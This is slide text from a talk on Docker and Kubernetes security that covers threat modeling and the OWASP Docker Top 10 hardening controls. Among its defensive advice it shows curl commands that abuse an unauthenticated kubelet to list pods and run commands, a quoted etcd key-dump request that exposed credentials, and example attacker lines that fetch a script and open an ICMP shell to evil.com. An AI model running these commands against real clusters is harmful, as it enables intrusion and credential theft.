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about:meabout:me

Independent Consultant - Information Security
(self-employed)

OWASP

● Organized + chaired AppSec Europe 2013 in Hamburg

● Involved in few following European conferences

● … and German matters

● 20+ years paid profession in infosec

● System, network + application security

● Pentests, consulting, training

● Information security managementOpen Source

● Longtime smaller contributions

●           TLS-Checker  testssl.sh 

https://testssl.sh/
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●                                   Hyped + new ?

– FreeBSD:  Jails                            2000
– Solaris:     Zones / Containers   2004
– Linux:        Docker                       2013 (March)

https://pxhere.com/en/photo/879460

        0. History 0. History 
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Devs: Gross lack of knowledgeDevs: Gross lack of knowledge
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Siemens Lufthaken? ;-)

● Instead of FaaS (oder BaaS?): 
Serverless computing

... sponsored by **-Bingo ... sponsored by **-Bingo 
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● @weldpond:
   Full spectrum engineer 

... sponsored by **-Bingo ... sponsored by **-Bingo 

Now a developer must become fluent in 
software testing, deployment, telemetry 
and  even security. 
Developers will be responsible for 
securing their own work!

(heisedevsec 2017)



Full Spectrum Engineer
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... sponsored by **-Bingo ... sponsored by **-Bingo 

https://commons.wikimedia.org/wiki/File:Bullshit.svg
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Application SecurityApplication Security

● Docker
– Doesn’t solve any application security problems
– It also doesn’t create those

→But it creates / can create system and network attack surfaces 
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● Threats to my 

containers?

                                                                                             Enumerate!

        Threat modeling  Threat modeling  

https://imgur.com/gallery/ZdEQDwh
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● 1st vector: Application 

escape 

 → 2nd: Host

        Threat modeling / 1  Threat modeling / 1  
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● 1st vector: Application 

escape 

→2nd: Network
● Container
● Host
● NFS, LDAP
● … und 

        Threat modeling / 2-4  Threat modeling / 2-4  
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● 1st vector: Application escape

→2nd: Network 
● Orchestration

CC-SA 3.0 by Monika Rittershaus , see https://fr.wikipedia.org/wiki/Fichier:Rattle_BPH-Rittershaus2-_Wikipedia.jpg

        Threat modeling / 5  Threat modeling / 5  
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● 2nd: Network / Orchestration
– Kubernetes: Insecure kubelet @ tcp/10250 (HTTPS) + 10255 (HTTP)

● Default still open? 
● Fixes complete?

● https://github.com/kubernetes/kubernetes/issues/11816
● https://github.com/kubernetes/kubernetes/pull/59666

        Threat modeling / 5  Threat modeling / 5  

https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/
https://github.com/kubernetes/kubernetes/issues/11816
https://github.com/kubernetes/kubernetes/pull/59666
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# Lists systems
curl -sk https://$IP:10250/pods | jq .  

# Code EXEC
curl -sk https://$IP:10250/exec|run/<ns>/<pod>/<container>/ -d "cmd=ls /" 

        Threat modeling / 5  Threat modeling / 5  
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● 2nd: Network / Orchestration
– Kubernetes 

● sometimes not secured etcd @ tcp/2379
● dashboard @ tcp/9090 (not installed per default)

        Threat modeling / 5  Threat modeling / 5  



Cryptojacking Tesla

https://arstechnica.com/information-technology/2018/02/tesla-cloud-resources-are-hacked-to-run-cryptocurrency-mining-malware/

https://redlock.io/blog/cryptojacking-tesla
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● 2nd: Network / Orchestration
– CoreOS, 

● etcd @ tcp/2379

        Threat modeling / 5  Threat modeling / 5  

https://gcollazo.com/the-security-footgun-in-etcd/

https://gcollazo.com/the-security-footgun-in-etcd/
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● 2nd: Network / Orchestration
– CoreOS, 

● etcd @ tcp/2379

        Threat modeling / 5  Threat modeling / 5  

I did a simple search on shodan and came up with 2,284 etcd servers on the open internet. So I clicked a few and 
on the third try I saw what I was hoping not to see. CREDENTIALS, a lot of CREDENTIALS. Credentials for things 
like cms_admin, mysql_root, postgres, etc.

[..] I wrote a very simple script that basically called the etcd API and requested all keys. That’s basically equivalent to 
doing a database dump but over their very nice REST API.

GET http://<ip address>:2379/v2/keys/?recursive=true

This will return all the keys stored on the servers in JSON format. So my script basically went down the list and 
created a file for each IP (127-0-0-1.json) with the contents of etcd. I stopped the script at about 750 MB of data and 
1,485 of the original IP list.                                                     
                                                                                                From: https://gcollazo.com/the-security-footgun-in-etcd/

https://gcollazo.com/the-security-footgun-in-etcd/
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● Target: Orchestration tool 
– Research: 

● Exposed orchestration tools (Lacework: PDF)
● Internet!

        Threat modeling / 5  Threat modeling / 5  

https://info.lacework.com/hubfs/Containers%20At-Risk_%20A%20Review%20of%2021,000%20Cloud%20Environments.pdf
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    201 Security  
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● My dear neighbors

 →  Other Containers 

        Threat modeling / 6  Threat modeling / 6  

https://www.realtor.com/news/trends/how-to-handle-terrible-neighbors/
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● Platform / Host

– Think:
● What’s wrong w

my foundation??

        Threat modeling / 7  Threat modeling / 7  

https://news.sky.com/story/hotel-in-taiwan-collapses-after-64-magnitude-earthquake-11239117
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● Integrity of images
– Confidentiality?

        Threat modeling / 8  Threat modeling / 8  

Trust

http://www.canalj.fr/Zoom/Cine/Moi-Moche-et-Mechant-2/Details/Personnages/Les-Minions
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        Threat modeling  Threat modeling  

● Chances to mess up things 

considerably                                        

Pictures: https://www.tagesschau.de/ausland/msc-zoe-113.html 
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● OWASP Docker Top 10 
https://www.owasp.org/index.php/OWASP_Docker_Top_10
– Rather security controls than risks
– Do’s vs. Dont’s
– home work + beyond
–         https://github.com/OWASP/Docker-Security 

– Simplified examples + syntax
● Only docker cmdline / Dockerfile 
● No YAML, etc.

  Docker Top 10Docker Top 10

https://www.owasp.org/index.php/OWASP_Docker_Top_10
https://github.com/OWASP/Docker-Security
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Top # Title

D01 Secure User Mapping

D02 Patch Management Strategy

D03 Network Separation and Firewalling

D04 Secure Defaults and Hardening

D05 Maintain Security Contexts

D06 Protect Secrets

D07 Ressource Protection

D08 Container Image Integrity and Origin

D09 Follow Immutable Paradigm

D10 Logging
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● Top 1: Secure User Mapping  
– Docker’s insecure default!

● Running code as privileged user

        Top 1/10 Top 1/10 
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● Top 1: Secure User Mapping  
– ~ fix it: Running nginx as non-privileged user

        Top 1/10 Top 1/10 

:8080

  USER minion

  RUN adduser [..] minion
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● Top 1: Secure User Mapping (cont‘d)

        Top 1/10 Top 1/10 
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● Top 1: Secure User Mapping (cont‘d)

        Top 1/10 Top 1/10 
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● Top 1: Secure User Mapping (cont‘d)
– Workaround: Remap user namespaces !

● user_namespaces(7)
● https://docs.docker.com/engine/security/userns-remap/#enable-userns-re

map-on-the-daemon
● Nutshell:

– Configure 
● mapping in /etc/subuid  + /etc/subgid
● /etc/docker/daemon.json

– Start dockerd  with --userns-remap <mapping>
● Limits:

– Global to dockerd
– PID ns / net  ns

        Top 1/10 Top 1/10 

https://docs.docker.com/engine/security/userns-remap/#enable-userns-remap-on-the-daemon
https://docs.docker.com/engine/security/userns-remap/#enable-userns-remap-on-the-daemon
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● Top 1: Secure User Mapping (cont‘d)
– Never-ever as Root 

● Violation of Least Privilege Principle
– Giving away benefit of „containment“
– Escape from application => root in container

● No need to do this 
–  Also not of low (<= 1024) ports

        Top 1/10 Top 1/10 
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● Top 2: Patch Management Strategy
– Host

– Container Orchestration

– Images

– Container Software

        Top 2/10 Top 2/10 
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● Top 2: Patch Management Strategy
– Host

● Kernel-Syscalls
● Window for privilege escalation!

        Top 2/10 Top 2/10 
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● Top 2: Patch Management Strategy

– Container Orchestration

● Don’t forget to patch the management as needed ;-)

        Top 2/10 Top 2/10 



  OWASP Stammtisch Hamburg, 27.3.2019 

cvedetails.com
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● Top 2: Patch Management Strategy

– Mini-Distro Images
● Δ t re-deployment    >   Δ t important patches  ?

        Top 2/10 Top 2/10 
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● Top 2: Patch Management Strategy

– Docker / Container  Software
● dockerd ,  docker-containerd-shim
● libs, ...

        Top 2/10 Top 2/10 
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● Top 2: Patch Management Strategy

– Need to have a process
● Standard patches
● Emergency

Keep the time slot for attackers as small as possible! 

        Top 2/10 Top 2/10 
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● Top 3: Network Separation   

            & Firewalling

– Basic DMZ techniques
● Internal
● (External)

        Top 3/10 Top 3/10 

https://xkcd.com/2044/
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● Top 3: Network Separation  & Firewalling

– Internal (network policies)
– Depends on 

● Network driver 
● Configuration

1) Deny all 
2) Allow only what’s needed

        Top 3/10 Top 3/10 
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● Top 3: Network Separation  & Firewalling

– External (to BBI)
● Do not allow initiating outgoing 

TCP connections
● UDP / ICMP: same

 % wget http://evil.com/exploit_dl.sh

 % icmpsh -t evil.com 

        Top 3/10 Top 3/10 
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● Top 4: Secure Defaults and Hardening

– Three domains
● Orchestration tool
● Host 
● Container image hardening

– External
– (Internal)

        Top 4/10 Top 4/10 
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● Top 4: Secure Defaults and Hardening

– Orchestration tool’s management interfaces
● Lock down

– Network access
– Interface with AuthN

        Top 4/10 Top 4/10 
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● Top 4: Secure Defaults and Hardening
– Services 

● Only SSH + NTP

– System
● A standard Debian / Ubuntu … is a standard Debian / Ubuntu

– No useless junk
– Custom hardening

● Specialized container OS like CoreOS?
● SELinux: some advantages
● PaX / grsecurity

        Top 4/10 Top 4/10 
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● Top 4: Secure Defaults and Hardening

– Container
● SUID (SGID)          

--security-opt=no-new-privileges
● Linux Capabilities

--cap-drop

● Seccomp (chrome)

--security-opt seccomp=yourprofile.json

        Top 4/10 Top 4/10 
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        Top 5/10 Top 5/10 

● Top 5:
Maintain Security Contexts
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● Top 5: Maintain Security Contexts
– No Mix Prod / Dev
– No Random Code (docker run <somearbitraryimage>)
– Do not mix 

● front end / back end services

– CaaS
● Tenants

        Top 5/10 Top 5/10 
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● Top 6: Protect Secrets
– Whereto: Keys, certificates, credentials, etc ???

● Image ?? 
● Env variables?

– docker run -e SECRET=myprrecious image 
– docker run –env-file ./secretsfile.txt image
– Kubernetes + YAML secrets: be careful

● Extra mounts (docker, also k8):
– docker run –v /hostdir:/containerdir image

● export S_FILE=./secretsfile.txt && <…> && rm $0
● Extra pod holding credentials (ENV) ???

– Retrieve e.g. via kubectl and shell?
– Yummy target for attacker too!
– Combination with (exclusive!) host mount

        Top 6/10 Top 6/10 
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● Top 6: Protect Secrets
– Long living passwords are out!
– Key / value stores:

● Crypt
● Vault
● Keywhiz

        Top 6/10 Top 6/10 
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● Top 7: Resource Protection
– Resource Limits (cgroups)

● --memory=     
● --memory-swap=

● --cpu-*
--cpu-shares=<percent>

– Also: --pids-limit XX

        Top 7/10 Top 7/10 

→docker-run(1)
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● Top 7: Resource Protection

– Mounts!
● If not necessary:                           Don’t do it
● If really necessary + possible:     r/o
● If r/w needed:                               limit writes (FS DoS)

        Top 7/10 Top 7/10 
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● Top 8: Container Image Integrity and Origin

– Basic trust issue
● Running arbitrary code from somewhere?

– Image pipeline
● No writable shares 
● Proper: Privilege / ACL management

        Top 8/10 Top 8/10 
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● Top 8: Container Image Integrity and Origin

– Docker content trust

        Top 8/10 Top 8/10 
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● Top 8: Container Image Integrity and Origin
– Docker content trust
– https://docs.docker.com/notary/getting_started/

        Top 8/10 Top 8/10 

https://docs.docker.com/notary/getting_started/
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● Top 9: Follow Immutable Paradigm

– Least Privilege 
● docker run --read-only ...
● docker run –v /hostdir:/containerdir:ro 

– Attacker 
● wget http://evil.com/exploit_dl.sh
● apt-get install / apk add  

– Limits: Container really needs to write
● Upload of files 
● r/w host mounts

        Top 9/10 Top 9/10 
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● Top 10: Logging
– Tear down container: logs lost

– Remote logging
● Container

– Application
– Any system server  in container (Web, Appl., DB, etc.)
– (Container) 

● Orchestration 
● Host

– Plus: Linux auditing (syscalls)

        Top 10/10 Top 10/10 

● Docker-run(1): 
-v /dev/log:/dev/log
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about:end

Thank you!

                
                 @drwetter

Dr. Dirk Wetter

                                                            3957 C9AE ECE1 D0A7 4569             
                                                                       EE60 B905 3A4A 58F5 4F17

https://twitter.com/petecheslock/status/595617204273618944

https://creativecommons.org/licenses/by-nc-sa/4.0/
https://twitter.com/drwetter
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